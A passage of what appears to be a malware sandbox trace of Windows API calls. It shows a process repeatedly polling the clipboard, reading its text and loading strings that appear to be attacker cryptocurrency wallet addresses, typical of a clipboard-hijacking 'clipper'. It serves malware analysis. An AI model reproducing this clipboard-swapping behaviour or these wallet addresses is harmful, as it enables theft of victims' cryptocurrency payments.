lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.326] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.326] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.326] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.326] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.326] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.326] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.327] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.327] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.327] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.327] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.327] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.327] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.327] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.327] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0053.327] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0053.327] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0053.327] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0053.328] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0053.328] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0053.328] Sleep (dwMilliseconds=0x64) [0053.433] GetOpenClipboardWindow () returned 0x0 [0053.433] OpenClipboard (hWndNewOwner=0x0) returned 1 [0053.433] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0053.433] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0053.433] GlobalSize (hMem=0x6069b8) returned 0x42 [0053.433] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0053.433] GlobalUnlock (hMem=0x6069b8) returned 1 [0053.433] CloseClipboard () returned 1 [0053.433] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.433] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.433] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.433] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.433] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.433] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.434] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.434] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.434] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.434] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.434] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.434] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.434] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.434] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.434] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.434] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.435] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.435] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.435] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.435] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.435] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.435] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.435] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.435] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.435] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.436] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.436] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.436] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.436] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.436] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.436] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.436] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.436] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0053.436] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0053.436] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0053.437] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0053.437] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0053.437] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0053.437] Sleep (dwMilliseconds=0x64) [0053.542] GetOpenClipboardWindow () returned 0x0 [0053.542] OpenClipboard (hWndNewOwner=0x0) returned 1 [0053.542] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0053.542] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0053.542] GlobalSize (hMem=0x6069b8) returned 0x42 [0053.542] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0053.542] GlobalUnlock (hMem=0x6069b8) returned 1 [0053.542] CloseClipboard () returned 1 [0053.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.543] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.543] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0053.543] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: 